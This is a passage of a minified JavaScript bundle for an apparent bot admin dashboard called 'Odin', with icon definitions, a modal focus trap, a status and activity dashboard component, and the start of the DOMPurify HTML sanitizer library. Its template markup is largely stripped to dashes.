1.2 6 0",system:"M12 8a4 4 0 1 0 0 8 4 4 0 0 0 0-8Zm0-5v2m0 14v2M3 12h2m14 0h2M5.6 5.6 7 7m10 10 1.4 1.4M18.4 5.6 17 7M7 17l-1.4 1.4",menu:"M4 7h16M4 12h16M4 17h16",panelLeft:"M9 4H5a2 2 0 0 0-2 2v12a2 2 0 0 0 2 2h4V4Zm0 0h10a2 2 0 0 1 2 2v12a2 2 0 0 1-2 2H9M6 8h.01M6 12h.01",chevronLeft:"m15 18-6-6 6-6",chevronRight:"m9 18 6-6-6-6",chevronDown:"m6 9 6 6 6-6",chevronUp:"m18 15-6-6-6 6",search:"m21 21-4.3-4.3M19 11a8 8 0 1 1-16 0 8 8 0 0 1 16 0Z",logout:"M10 17l5-5-5-5m5 5H3m10-8h5a2 2 0 0 1 2 2v12a2 2 0 0 1-2 2h-5",success:"m5 12 4 4L19 6",warning:"M12 3 2.8 20h18.4L12 3Zm0 6v4m0 3h.01",info:"M12 21a9 9 0 1 0 0-18 9 9 0 0 0 0 18Zm0-8v4m0-8h.01",error:"M12 21a9 9 0 1 0 0-18 9 9 0 0 0 0 18Zm-3-12 6 6m0-6-6 6",edit:"M4 20h4l11-11-4-4L4 16v4Zm9-13 4 4",trash:"M4 7h16m-10 4v5m4-5v5M9 4h6l1 3H8l1-3Zm-3 3 1 13h10l1-13",brain:"M9 5a3 3 0 0 0-5 2.2A3.5 3.5 0 0 0 4 14a3 3 0 0 0 5 2.2V5Zm6 0a3 3 0 0 1 5 2.2 3.5 3.5 0 0 1 0 6.8 3 3 0 0 1-5 2.2V5ZM9 9H7m2 4H6m9-4h2m-2 4h3M12 4v16",refresh:"M20 6v5h-5M4 18v-5h5M18.5 10A7 7 0 0 0 6 7.5L4 11m16 2-2 3.5A7 7 0 0 1 5.5 14",close:"M6 6l12 12M18 6 6 18",command:"M7 8a3 3 0 1 1-3-3h3v14a3 3 0 1 1-3-3h13a3 3 0 1 1-3 3V5a3 3 0 1 1 3 3H7Z",external:"M14 4h6v6m0-6-9 9M19 13v6a1 1 0 0 1-1 1H5a1 1 0 0 1-1-1V6a1 1 0 0 1 1-1h6",activity:"M4 12h4l2-5 4 10 2-5h4",shield:"M12 3 5 6v5c0 4.5 2.8 7.7 7 10 4.2-2.3 7-5.5 7-10V6l-7-3Z",database:"M20 6c0 1.7-3.6 3-8 3S4 7.7 4 6s3.6-3 8-3 8 1.3 8 3Zm0 0v6c0 1.7-3.6 3-8 3s-8-1.3-8-3V6m16 6v6c0 1.7-3.6 3-8 3s-8-1.3-8-3v-6",server:"M4 4h16v6H4V4Zm0 10h16v6H4v-6Zm3-7h.01M7 17h.01",terminal:"M5 7l4 4-4 4m6 1h8M3 4h18v16H3V4Z",wrench:"M14.7 6.3a4 4 0 0 0-5.6 5.6L4 17v3h3v-2h2v-2h2l1.1-1.1a4 4 0 0 0 5.6-5.6l-3 3-3-3 3-3Z",bot:"M8 4h8m-4-2v2M5 8h14a2 2 0 0 1 2 2v8H3v-8a2 2 0 0 1 2-2Zm3 4h.01M16 12h.01M8 16h8M3 13H1m22 0h-2",workflow:"M5 5h5v5H5V5Zm9 9h5v5h-5v-5ZM10 7.5h4a3 3 0 0 1 3 3V14M7.5 10v4a3 3 0 0 0 3 3H14",globe:"M12 21a9 9 0 1 0 0-18 9 9 0 0 0 0 18Zm0-18c2.2 2.5 3.3 5.5 3.3 9S14.2 18.5 12 21m0-18C9.8 5.5 8.7 8.5 8.7 12s1.1 6.5 3.3 9M3 12h18",book:"M4 5a3 3 0 0 1 3-2h5v17H7a3 3 0 0 0-3 1V5Zm16 0a3 3 0 0 0-3-2h-5v17h5a3 3 0 0 1 3 1V5Z",message:"M4 4h16v13H8l-4 4V4Zm4 5h8m-8 4h5",puzzle:"M9 4h3a2 2 0 1 1 4 0h4v5a2 2 0 1 0 0 4v7h-7a2 2 0 1 1-4 0H4v-7a2 2 0 1 0 0-4V4h5",sparkles:"m12 3 1.2 3.8L17 8l-3.8 1.2L12 13l-1.2-3.8L7 8l3.8-1.2L12 3Zm6 10 .8 2.2L21 16l-2.2.8L18 19l-.8-2.2L15 16l2.2-.8L18 13ZM5 14l1 2.8L9 18l-3 1.2L5 22l-1-2.8L1 18l3-1.2L5 14Z",link:"M9.5 14.5 14.5 9m-7 8H6a4 4 0 0 1 0-8h3m6 0h3a4 4 0 0 1 0 8h-3",file:"M6 3h8l4 4v14H6V3Zm8 0v5h5M9 13h6m-6 4h6",folder:"M3 6h7l2 2h9v11H3V6Z",image:"M4 4h16v16H4V4Zm3 12 4-4 3 3 2-2 4 4M9 9h.01",attachment:"m8 12 5-5a3 3 0 1 1 4 4l-7 7a5 5 0 0 1-7-7l7-7",clock:"M12 21a9 9 0 1 0 0-18 9 9 0 0 0 0 18Zm0-13v5l3 2",calendar:"M5 5h14v15H5V5Zm3-2v4m8-4v4M5 10h14",chart:"M4 20V10m5 10V4m5 16v-7m5 7V7M2 20h20",sliders:"M4 7h10m4 0h2M4 17h2m4 0h10M16 4v6M8 14v6",code:"m9 6-6 6 6 6m6-12 6 6-6 6",copy:"M8 8h11v12H8V8Zm-3 8H4V4h11v1",play:"m8 5 11 7-11 7V5Z",grid:"M4 4h6v6H4V4Zm10 0h6v6h-6V4ZM4 14h6v6H4v-6Zm10 0h6v6h-6v-6Z",list:"M9 6h11M9 12h11M9 18h11M4 6h.01M4 12h.01M4 18h.01",target:"M12 21a9 9 0 1 0 0-18 9 9 0 0 0 0 18Zm0-5a4 4 0 1 0 0-8 4 4 0 0 0 0 8Zm0-4h.01",rotate:"M20 6v5h-5M4 18v-5h5M18.5 10A7 7 0 0 0 6 7.5L4 11m16 2-2 3.5A7 7 0 0 1 5.5 14",archive:"M4 8h16v12H4V8Zm-1-4h18v4H3V4Zm6 8h6",flame:"M12 22c4 0 7-3 7-7 0-5-4-7-4-11-3 2-5 5-5 8-1-1-2-3-1-5-3 2-5 5-5 8 0 4 3 7 8 7Z",eye:"M2 12s3.5-6 10-6 10 6 10 6-3.5 6-10 6S2 12 2 12Zm10 3a3 3 0 1 0 0-6 3 3 0 0 0 0 6Z",upload:"M12 16V4m-5 5 5-5 5 5M5 20h14",download:"M12 4v12m-5-5 5 5 5-5M5 20h14",undo:"M9 7 4 12l5 5m-5-5h10a6 6 0 0 1 6 6",redo:"m15 7 5 5-5 5m5-5H10a6 6 0 0 0-6 6",minus:"M5 12h14",plus:"M12 5v14M5 12h14",network:"M12 3v4m0 10v4M3 12h4m10 0h4M7.8 7.8l2.1 2.1m4.2 4.2 2.1 2.1m0-8.4-2.1 2.1m-4.2 4.2-2.1 2.1M12 16a4 4 0 1 0 0-8 4 4 0 0 0 0 8Z",more:"M6 12h.01M12 12h.01M18 12h.01",pause:"M9 5v14m6-14v14",sort:"M8 5v14m0 0-3-3m3 3 3-3M16 19V5m0 0-3 3m3-3 3 3"};Object.freeze(Object.keys(Ud));const gT={name:"OdinIcon",props:{name:{type:String,required:!0},size:{type:[Number,String],default:18},strokeWidth:{type:[Number,String],default:1.8}},setup(e,{attrs:t}){return()=>qi("svg",{...t,class:["odin-icon",t.class],width:e.size,height:e.size,viewBox:"0 0 24 24",fill:"none",stroke:"currentColor","stroke-width":e.strokeWidth,"stroke-linecap":"round","stroke-linejoin":"round","aria-hidden":t["aria-label"]?void 0:"true",focusable:"false"},[qi("path",{d:Ud[e.name]||Ud.info})])}},bT=["a[href]","button:not([disabled])",'input:not([disabled]):not([type="hidden"])',"select:not([disabled])","textarea:not([disabled])",'[tabindex]:not([tabindex="-1"])'].join(",");function im(e){return[...e.querySelectorAll(bT)].filter(t=>!t.hasAttribute("hidden")&&t.getAttribute("aria-hidden")!=="true")}const yT={mounted(e){const t=document.activeElement,s=a=>{if(a.key!=="Tab")return;const n=im(e);if(!n.length){a.preventDefault(),e.focus();return}const i=n[0],l=n[n.length-1];a.shiftKey&&document.activeElement===i?(a.preventDefault(),l.focus()):!a.shiftKey&&document.activeElement===l&&(a.preventDefault(),i.focus())};e.__odinModalFocus={previous:t,onKeydown:s},e.addEventListener("keydown",s),requestAnimationFrame(()=>{(e.querySelector("[autofocus]")||im(e)[0]||e).focus()})},unmounted(e){var s;const t=e.__odinModalFocus;t&&(e.removeEventListener("keydown",t.onKeydown),(s=t.previous)!=null&&s.isConnected&&typeof t.previous.focus=="function"&&requestAnimationFrame(()=>t.previous.focus()),delete e.__odinModalFocus)}},xT={template:` -
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- - - - -
- -
-
-
- - - - - -
-
-
Odin
-
- - {{ status.status === 'online' ? 'Online' : 'Starting' }} - · - {{ uptime }} -
-
-
-
- - - -
-
- - -
-
-
- - {{ s.label }} -
-
{{ s.value }}
-
{{ s.sub }}
-
-
- - -
-
System Health
-
-
- - {{ h.label }} - {{ h.detail }} -
-
-
- - -
- - -
-
- Active Agents - {{ agents.length }} -
-
- - No active agents -
-
-
-
- - {{ a.label }} - {{ a.iteration_count }} iters -
-
{{ a.goal }}
-
- {{ formatDuration(a.runtime_seconds) }} - {{ a.tools_used_count }} tools -
-
-
-
- - -
-
- - Recent Activity - +{{ newEventCount }} - - -
-
Loading...
-
- - No recent activity -
-
-
- - {{ a.tool_name }} - {{ formatTime(a.timestamp) }} -
-
-
- - -
- -
-
- Guilds -
-
- - No guilds -
-
-
- - {{ g.name }} - {{ g.member_count }} -
-
-
- - -
-
- Recent Errors - {{ errors.length }} -
-
- - Couldn't load recent errors -
-
- - All clear -
-
-
Refresh failed — showing known errors
-
-
- - {{ e.tool_name }} - {{ formatTime(e.timestamp) }} -
-
{{ e.error }}
-
-
-
-
-
-
-
`,setup(){const e=f({}),t=f(!0),s=f(null),a=f([]),n=f(!1),i=f([]),l=f(!1),o=f(!1),r=f([]),c=f(0),d=f(null),u=f({reload:!1,clearSessions:!1,stopLoops:!1});let p=0;const m=B(()=>{const ce=e.value.uptime_seconds||0,Z=Math.floor(ce/86400),Q=Math.floor(ce%86400/3600),ae=Math.floor(ce%3600/60),V=[];return Z>0&&V.push(`${Z}d`),Q>0&&V.push(`${Q}h`),(V.length===0||Z===0&&Q===0)&&V.push(`${ae}m`),V.join(" ")}),h=B(()=>{const ce=e.value.uptime_seconds||0;return 125.66*(1-Math.min(ce/86400,1))}),y=B(()=>{const ce=e.value;return[{label:"Guilds",value:ce.guild_count??0,icon:"home",iconColor:"text-blue-400"},{label:"Sessions",value:ce.session_count??0,icon:"message",iconColor:"text-yellow-400"},{label:"Tools",value:ce.tool_count??0,icon:"wrench",iconColor:"text-purple-400",sub:`${ce.skill_count??0} skills`,subColor:"text-gray-500"},{label:"Loops",value:ce.loop_count??0,icon:"rotate",iconColor:"text-green-400",color:ce.loop_count>0?"text-green-400":"",highlight:ce.loop_count>0},{label:"Agents",value:ce.agent_running??0,icon:"bot",iconColor:"text-cyan-400",sub:ce.agent_count>0?`${ce.agent_count} total`:"",subColor:"text-gray-500",highlight:(ce.agent_running??0)>0},{label:"Processes",value:ce.process_running??0,icon:"sliders",iconColor:"text-orange-400",sub:ce.process_count>0?`${ce.process_count} total`:"",subColor:"text-gray-500",highlight:(ce.process_running??0)>0},{label:"Schedules",value:ce.schedule_count??0,icon:"clock",iconColor:"text-amber-400",sub:(ce.schedule_failing>0?`${ce.schedule_failing} failing`:"")+(ce.schedule_failing>0&&ce.schedule_paused>0?", ":"")+(ce.schedule_paused>0?`${ce.schedule_paused} paused`:"")||void 0,subColor:ce.schedule_failing>0?"text-red-400":"text-yellow-400",color:ce.schedule_failing>0?"text-red-400":"",highlight:ce.schedule_failing>0},{label:"Users",value:ce.user_count??0,icon:"users",iconColor:"text-indigo-400"},...d.value!==null?[{label:"Knowledge",value:d.value,icon:"book",iconColor:"text-teal-400",sub:"chunks",subColor:"text-gray-500"}]:[]]}),k=B(()=>{const ce=e.value,Z=[];return Z.push({label:"Bot",status:ce.status==="online"?"ok":"warn",detail:ce.status==="online"?"Online":"Starting"}),(ce.schedule_failing||0)>0?Z.push({label:"Schedules",status:"error",detail:`${ce.schedule_failing} failing`}):(ce.schedule_count||0)>0&&Z.push({label:"Schedules",status:"ok",detail:`${ce.schedule_count} configured`}),(ce.loop_count||0)>0&&Z.push({label:"Loops",status:"ok",detail:`${ce.loop_count} active`}),(ce.agent_running||0)>0&&Z.push({label:"Agents",status:"ok",detail:`${ce.agent_running} running`}),(ce.process_running||0)>0&&Z.push({label:"Processes",status:"ok",detail:`${ce.process_running} running`}),Z});async function A(){try{e.value=await z.get("/api/status"),s.value=null}catch(ce){s.value=ce.message}finally{t.value=!1}}let g=0,b=0,x=0,w=0;function _(ce,Z){const Q=new Set;return[...Z,...ce].filter(ae=>{const V=ae._hmac||JSON.stringify([ae.timestamp,ae.tool_name,ae.user_id,ae.result_summary,ae.error]);return Q.has(V)?!1:(Q.add(V),!0)})}async function T(){const ce=++g,Z=x;n.value=!0;try{const Q=await z.get("/api/audit?limit=10");if(ce!==g)return;const ae=Z===x?[]:a.value.filter(V=>(V._liveEpoch||0)>Z);a.value=_(Q,ae).slice(0,10),c.value=ae.length}catch{}ce===g&&(n.value=!1)}async function L(){const ce=++b,Z=w;l.value=!0;try{const Q=await z.get("/api/audit?error_only=1&limit=5");if(ce!==b)return;const ae=Z===w?[]:i.value.filter(V=>(V._liveErrorEpoch||0)>Z);i.value=_(Q,ae).slice(0,5),o.value=!1}catch{if(ce!==b)return;o.value=Z===w||i.value.length===0}ce===b&&(l.value=!1)}async function E(){try{const ce=await z.get("/api/knowledge");d.value=(Array.isArray(ce)?ce:[]).reduce((Z,Q)=>Z+(Q.chunks||0),0)}catch{d.value=null}}async function F(){try{const ce=await z.get("/api/agents");r.value=ce.filter(Z=>Z.status==="running")}catch{}}async function O(){u.value={...u.value,reload:!0};try{await z.post("/api/reload"),Se.success("Config reloaded")}catch(ce){Se.error(ce.message)}u.value={...u.value,reload:!1}}async function I(){if(!await is({title:"Clear all sessions",message:"Clear all conversation sessions? This cannot be undone.",confirmLabel:"Clear All",danger:!0}))return;u.value={...u.value,clearSessions:!0};const Z=e.value.session_count;e.value={...e.value,session_count:0};try{const Q=await z.post("/api/sessions/clear-all");Se.success(`Cleared ${Q.count} session${Q.count!==1?"s":""}`),await A()}catch(Q){e.value={...e.value,session_count:Z},Se.error(Q.message)}u.value={...u.value,clearSessions:!1}}async function H(){if(!await is({title:"Stop all loops",message:"Stop all running loops?",confirmLabel:"Stop Loops",danger:!0}))return;u.value={...u.value,stopLoops:!0};const Z=e.value.loop_count;e.value={...e.value,loop_count:0};try{const Q=await z.post("/api/loops/stop-all");Se.success(Q.result),await A()}catch(Q){e.value={...e.value,loop_count:Z},Se.error(Q.message)}u.value={...u.value,stopLoops:!1}}function te(){t.value=!0,s.value=null,A(),T(),L(),F()}let ee=null,N=null,M=null;function $(ce){if(ce.payload&&ce.payload.tool_name){x+=1;const Z={...ce.payload,_isNew:!0,_key:++p,_liveEpoch:x};a.value.unshift(Z),a.value.length>10&&a.value.pop(),c.value++,Z.error&&(w+=1,Z._liveErrorEpoch=w,o.value=!1,i.value.unshift(Z),i.value.length>5&&i.value.pop()),setTimeout(()=>{Z._isNew=!1},1500),clearTimeout(M),M=setTimeout(()=>{c.value=0},1e4)}}let re=null;return st(async()=>{await Promise.all([A(),T(),L(),F(),E()]),ee=setInterval(A,15e3),N=setInterval(F,1e4),mt.subscribe("events",$),re=mt.onReconnected(()=>{T(),L()})}),wt(()=>{ee&&clearInterval(ee),N&&clearInterval(N),clearTimeout(M),mt.unsubscribe("events",$),re&&(re(),re=null)}),{status:e,loading:t,error:s,uptime:m,uptimeRingOffset:h,stats:y,healthIndicators:k,activity:a,activityLoading:n,newEventCount:c,errors:i,errorsLoading:l,errorsError:o,agents:r,actionLoading:u,fetchActivity:T,fetchErrors:L,fetchStatus:A,onEvent:$,formatTime:w1,formatDuration:Xi,retry:te,reloadConfig:O,clearSessions:I,stopAllLoops:H}}};/*! @license DOMPurify 3.4.9 | (c) Cure53 and other contributors | Released under the Apache license 2.0 and Mozilla Public License 2.0 | github.com/cure53/DOMPurify/blob/3.4.9/LICENSE */function lm(e,t){(t==null||t>e.length)&&(t=e.length);for(var s=0,a=Array(t);s2?a-2:0),i=2;i1?s-1:0),n=1;n"u"?null:ts(BigInt.prototype.toString),pm=typeof Symbol>"u"?null:ts(Symbol.prototype.toString),jt=ts(Object.prototype.hasOwnProperty),kl=ts(Object.prototype.toString),us=ts(RegExp.prototype.test),qn=MT(TypeError);function ts(e){return function(t){t instanceof RegExp&&(t.lastIndex=0);for(var s=arguments.length,a=new Array(s>1?s-1:0),n=1;n2&&arguments[2]!==void 0?arguments[2]:Il;if(om&&om(e,null),!Os(t))return e;let a=t.length;for(;a--;){let n=t[a];if(typeof n=="string"){const i=s(n);i!==n&&(TT(t)||(t[a]=i),n=i)}e[n]=!0}return e}function DT(e){for(let t=0;t/g),HT=da(/\${[\w\W]*/g),jT=da(/^data-[\-\w.\u00B7-\uFFFF]+$/),qT=da(/^aria-[\-\w]+$/),gm=da(/^(?:(?:(?:f|ht)tps?|mailto|tel|callto|sms|cid|xmpp|matrix):|[^a-z]|[a-z+.\-]+(?:[^a-z+.\-:]|$))/i),VT=da(/^(?:\w+script|data):/i),GT=da(/[\u0000-\u0020\u00A0\u1680\u180E\u2000-\u2029\u205F\u3000]/g),WT=da(/^html$/i),KT=da(/^[a-z][.\w]*(-[.\w]+)+$/i),Ca={element:1,attribute:2,text:3,cdataSection:4,entityReference:5,entityNode:6,progressingInstruction:7,comment:8,document:9,documentType:10,documentFragment:11,notation:12},JT=function(){return typeof window>"u"?null:window},ZT=function(t,s){if(typeof t!="object"||typeof t.createPolicy!="function")return null;let a=null;const n="data-tt-policy-suffix";s&&s.hasAttribute(n)&&(a=s.getAttribute(n));const i="dompurify"+(a?"#"+a:"");try{return t.createPolicy(i,{createHTML(l){return l},createScriptURL(l){return l}})}catch{return console.warn("TrustedTypes policy "+i+" could not be created."),null}},bm=function(){return{afterSanitizeAttributes:[],afterSanitizeElements:[],afterSanitizeShadowDOM:[],beforeSanitizeAttributes:[],beforeSanitizeElements:[],beforeSanitizeShadowDOM:[],uponSanitizeAttribute:[],uponSanitizeElement:[],uponSanitizeShadowNode:[]}};function Qg(){let e=arguments.length>0&&arguments[0]!==void 0?arguments[0]:JT();const t=Ie=>Qg(Ie);if(t.version="3.4.9",t.removed=[],!e||!e.document||e.document.nodeType!==Ca.document||!e.Element)return t.isSupported=!1,t;let s=e.document;const a=s,n=a.currentScript;e.DocumentFragment;const i=e.HTMLTemplateElement,l=e.Node,o=e.Element,r=e.NodeFilter,c=e.NamedNodeMap;c===void 0&&(e.NamedNodeMap||e.MozNamedAttrMap),e.HTMLFormElement;const d=e.DOMParser,u=e.trustedTypes,p=o.prototype,m=Ea(p,"cloneNode"),h=Ea(p,"remove"),y=Ea(p,"nextSibling"),k=Ea(p,"childNodes"),A=Ea(p,"parentNode"),g=Ea(p,"shadowRoot"),b=Ea(p,"attributes"),x=l&&l.prototype?Ea(l.prototype,"nodeType"):null,w=l&&l.prototype?Ea(l.prototype,"nodeName"):null;if(typeof i=="function"){const Ie=s.createElement("template");Ie.content&&Ie.content.ownerDocument&&(s=Ie.content.ownerDocument)}let _,T="",L,E=!1,F=0;const O=function(){if(F>0)throw qn('A configured TRUSTED_TYPES_POLICY callback (createHTML or createScriptURL) must not call DOMPurify.sanitize, as that causes infinite recursion. Do not pass a policy whose callbacks wrap DOMPurify as TRUSTED_TYPES_POLICY; see the "DOMPurify and Trusted Types" section of the README.')},I=function(D){O(),F++;try{return _.createHTML(D)}finally{F--}},H=function(D){O(),F++;try{return _.createScriptURL(D)}finally{F--}},te=function(){return E||(L=ZT(u,n),E=!0),L},ee=s,N=ee.implementation,M=ee.createNodeIterator,$=ee.createDocumentFragment,re=ee.getElementsByTagName,ce=a.importNode;let Z=bm();t.isSupported=typeof Jg=="function"&&typeof A=="function"&&N&&N.createHTMLDocument!==void 0;const Q=UT,ae=zT,V=HT,be=jT,Oe=qT,le=VT,oe=GT,ve=KT;let j=gm,Y=null;const xe=nt({},[...fm,...ed,...td,...sd,...mm]);let S=null;const P=nt({},[...vm,...ad,...hm,...Yo]);let G=Object.seal(Ai(null,{tagNameCheck:{writable:!0,configurable:!1,enumerable:!0,value:null},attributeNameCheck:{writable:!0,configurable:!1,enumerable:!0,value:null},allowCustomizedBuiltInElements:{writable:!0,configurable:!1,enumerable:!0,value:!1}})),he=null,fe=null;const me=Object.seal(Ai(null,{tagCheck:{writable:!0,configurable:!1,enumerable:!0,value:null},attributeCheck:{writable:!0,configurable:!1,enumerable:!0,value:null}}));let we=!0,J=!0,ie=!1,X=!0,_e=!1,U=!0,de=!1,ge=!1,Ae=!1,$e=!1,We=!1,je=!1,Xe=!0,it=!1;const Qe="user-content-";let se=!0,Re=!1,Le={},Te=null;const W=nt({},["annotation-xml","audio","colgroup","desc","foreignobject","head","iframe","math","mi","mn","mo","ms","mtext","noembed","noframes","noscript","plaintext","script","selectedcontent","style","svg","template","thead","title","video","xmp"]);let De=null;const ze=nt({},["audio","video","img","source","image","track"]);let Ye=null;const Dt=nt({},["alt","class","for","id","label","name","pattern","placeholder","role","summary","title","value","style","xmlns"]),et="http://www.w3.org/1998/Math/MathML",Rt="http://www.w3.org/2000/svg",Pt="http://www.w3.org/1999/xhtml";let Ts=Pt,Vs=!1,Gs=null;const zt=nt({},[et,Rt,Pt],Xc);let ta=nt({},["mi","mo","mn","ms","mtext"]),Ws=nt({},["annotation-xml"]);const Pa=nt({},["title","style","font","a","script"]);let hs=null;const $a=["application/xhtml+xml","text/html"],Es="text/html";let Ct=null,ls=null;const sa=s.createElement("form"),ba=function(D){return D instanceof RegExp||D instanceof Function},Fe=function(){let D=arguments.length>0&&arguments[0]!==void 0?arguments[0]:{};if(ls&&ls===D)return;(!D||typeof D!="object")&&(D={}),D=xs(D),hs=$a.indexOf(D.PARSER_MEDIA_TYPE)===-1?Es:D.PARSER_MEDIA_TYPE,Ct=hs==="application/xhtml+xml"?Xc:Il,Y=jt(D,"ALLOWED_TAGS")&&Os(D.ALLOWED_TAGS)?nt({},D.ALLOWED_TAGS,Ct):xe,S=jt(D,"ALLOWED_ATTR")&&Os(D.ALLOWED_ATTR)?nt({},D.ALLOWED_ATTR,Ct):P,Gs=jt(D,"ALLOWED_NAMESPACES")&&Os(D.ALLOWED_NAMESPACES)?nt({},D.ALLOWED_NAMESPACES,Xc):zt,Ye=jt(D,"ADD_URI_SAFE_ATTR")&&Os(D.ADD_URI_SAFE_ATTR)?nt(xs(Dt),D.ADD_URI_SAFE_ATTR,Ct):Dt,De=jt(D,"ADD_DATA_URI_TAGS")&&Os(D.ADD_DATA_URI_TAGS)?nt(xs(ze),D.ADD_DATA_URI_TAGS,Ct):ze,Te=jt(D,"FORBID_CONTENTS")&&Os(D.FORBID_CONTENTS)?nt({},D.FORBID_CONTENTS,Ct):W,he=jt(D,"FORBID_TAGS")&&Os(D.FORBID_TAGS)?nt({},D.FORBID_TAGS,Ct):xs({}),fe=jt(D,"FORBID_ATTR")&&Os(D.FORBID_ATTR)?nt({},D.FORBID_ATTR,Ct):xs({}),Le=jt(D,"USE_PROFILES")?D.USE_PROFILES&&typeof D.USE_PROFILES=="object"?xs(D.USE_PROFILES):D.USE_PROFILES:!1,we=D.ALLOW_ARIA_ATTR!==!1,J=D.ALLOW_DATA_ATTR!==!1,ie=D.ALLOW_UNKNOWN_PROTOCOLS||!1,X=D.ALLOW_SELF_CLOSE_IN_ATTR!==!1,_e=D.SAFE_FOR_TEMPLATES||!1,U=D.SAFE_FOR_XML!==!1,de=D.WHOLE_DOCUMENT||!1,$e=D.RETURN_DOM||!1,We=D.RETURN_DOM_FRAGMENT||!1,je=D.RETURN_TRUSTED_TYPE||!1,Ae=D.FORCE_BODY||!1,Xe=D.SANITIZE_DOM!==!1,it=D.SANITIZE_NAMED_PROPS||!1,se=D.KEEP_CONTENT!==!1,Re=D.IN_PLACE||!1,j=$T(D.ALLOWED_URI_REGEXP)?D.ALLOWED_URI_REGEXP:gm,Ts=typeof D.NAMESPACE=="string"?D.NAMESPACE:Pt,ta=jt(D,"MATHML_TEXT_INTEGRATION_POINTS")&&D.MATHML_TEXT_INTEGRATION_POINTS&&typeof D.MATHML_TEXT_INTEGRATION_POINTS=="object"?xs(D.MATHML_TEXT_INTEGRATION_POINTS):nt({},["mi","mo","mn","ms","mtext"]),Ws=jt(D,"HTML_INTEGRATION_POINTS")&&D.HTML_INTEGRATION_POINTS&&typeof D.HTML_INTEGRATION_POINTS=="object"?xs(D.HTML_INTEGRATION_POINTS):nt({},["annotation-xml"]);const pe=jt(D,"CUSTOM_ELEMENT_HANDLING")&&D.CUSTOM_ELEMENT_HANDLING&&typeof D.CUSTOM_ELEMENT_HANDLING=="object"?xs(D.CUSTOM_ELEMENT_HANDLING):Ai(null);if(G=Ai(null),jt(pe,"tagNameCheck")&&ba(pe.tagNameCheck)&&(G.tagNameCheck=pe.tagNameCheck),jt(pe,"attributeNameCheck")&&ba(pe.attributeNameCheck)&&(G.attributeNameCheck=pe.attributeNameCheck),jt(pe,"allowCustomizedBuiltInElements")&&typeof pe.allowCustomizedBuiltInElements=="boolean"&&(G.allowCustomizedBuiltInElements=pe.allowCustomizedBuiltInElements),_e&&(J=!1),We&&($e=!0),Le&&(Y=nt({},mm),S=Ai(null),Le.html===!0&&(nt(Y,fm),nt(S,vm)),Le.svg===!0&&(nt(Y,ed),nt(S,ad),nt(S,Yo)),Le.svgFilters===!0&&(nt(Y,td),nt(S,ad),nt(S,Yo)),Le.mathMl===!0&&(nt(Y,sd),nt(S,hm),nt(S,Yo))),me.tagCheck=null,me.attributeCheck=null,jt(D,"ADD_TAGS")&&(typeof D.ADD_TAGS=="function"?me.tagCheck=D.ADD_TAGS:Os(D.ADD_TAGS)&&(Y===xe&&(Y=xs(Y)),nt(Y,D.ADD_TAGS,Ct))),jt(D,"ADD_ATTR")&&(typeof D.ADD_ATTR=="function"?me.attributeCheck=D.ADD_ATTR:Os(D.ADD_ATTR)&&(S===P&&(S=xs(S)),nt(S,D.ADD_ATTR,Ct))),jt(D,"ADD_URI_SAFE_ATTR")&&Os(D.ADD_URI_SAFE_ATTR)&&nt(Ye,D.ADD_URI_SAFE_ATTR,Ct),jt(D,"FORBID_CONTENTS")&&Os(D.FORBID_CONTENTS)&&(Te===W&&(Te=xs(Te)),nt(Te,D.FORBID_CONTENTS,Ct)),jt(D,"ADD_FORBID_CONTENTS")&&Os(D.ADD_FORBID_CONTENTS)&&(Te===W&&(Te=xs(Te)),nt(Te,D.ADD_FORBID_CONTENTS,Ct)),se&&(Y["#text"]=!0),de&&nt(Y,["html","head","body"]),Y.table&&(nt(Y,["tbody"]),delete he.tbody),D.TRUSTED_TYPES_POLICY){if(typeof D.TRUSTED_TYPES_POLICY.createHTML!="function")throw qn('TRUSTED_TYPES_POLICY configuration option must provide a "createHTML" hook.');if(typeof D.TRUSTED_TYPES_POLICY.createScriptURL!="function")throw qn('TRUSTED_TYPES_POLICY configuration option must provide a "createScriptURL" hook.');const ke=_;_=D.TRUSTED_TYPES_POLICY;try{T=I("")}catch(Be){throw _=ke,Be}}else D.TRUSTED_TYPES_POLICY===null?(_=void 0,T=""):(_===void 0&&(_=te()),_&&typeof T=="string"&&(T=I("")));(Z.uponSanitizeElement.length>0||Z.uponSanitizeAttribute.length>0)&&Y===xe&&(Y=xs(Y)),Z.uponSanitizeAttribute.length>0&&S===P&&(S=xs(S)),Ps&&Ps(D),ls=D},ue=nt({},[...ed,...td,...FT]),Ce=nt({},[...sd,...BT]),qe=function(D){let pe=A(D);(!pe||!pe.tagName)&&(pe={namespaceURI:Ts,tagName:"template"});const ke=Il(D.tagName),Be=Il(pe.tagName);return Gs[D.namespaceURI]?D.namespaceURI===Rt?pe.namespaceURI===Pt?ke==="svg":pe.namespaceURI===et?ke==="svg"&&(Be==="annotation-xml"||ta[Be]):!!ue[ke]:D.namespaceURI===et?pe.namespaceURI===Pt?ke==="math":pe.namespaceURI===Rt?ke==="math"&&Ws[Be]:!!Ce[ke]:D.namespaceURI===Pt?pe.namespaceURI===Rt&&!Ws[Be]||pe.namespaceURI===et&&!ta[Be]?!1:!Ce[ke]&&(Pa[ke]||!ue[ke]):!!(hs==="application/xhtml+xml"&&Gs[D.namespaceURI]):!1},Ge=function(D){ki(t.removed,{element:D});try{A(D).removeChild(D)}catch{if(h(D),!A(D))throw qn("a node selected for removal could not be detached from its tree and cannot be safely returned; refusing to sanitize in place")}},It=function(D){const pe=k?k(D):D.childNodes;if(pe){const Be=[];qa(pe,Ue=>{ki(Be,Ue)}),qa(Be,Ue=>{try{h(Ue)}catch{}})}const ke=b?b(D):null;if(ke)for(let Be=ke.length-1;Be>=0;--Be){const Ue=ke[Be],Ke=Ue&&Ue.name;if(typeof Ke=="string")try{D.removeAttribute(Ke)}catch{}}},ot=function(D,pe){try{ki(t.removed,{attribute:pe.getAttributeNode(D),from:pe})}catch{ki(t.removed,{attribute:null,from:pe})}if(pe.removeAttribute(D),D==="is")if($e||We)try{Ge(pe)}catch{}else try{pe.setAttribute(D,"")}catch{}},pn=function(D){const pe=b?b(D):D.attributes;if(pe)for(let ke=pe.length-1;ke>=0;--ke){const Be=pe[ke],Ue=Be&&Be.name;if(!(typeof Ue!="string"||S[Ct(Ue)]))try{D.removeAttribute(Ue)}catch{}}},pi=function(D){const pe=[D];for(;pe.length>0;){const ke=pe.pop();(x?x(ke):ke.nodeType)===Ca.element&&pn(ke);const Ue=k?k(ke):ke.childNodes;if(Ue)for(let Ke=Ue.length-1;Ke>=0;--Ke)pe.push(Ue[Ke])}},Fa=function(D){let 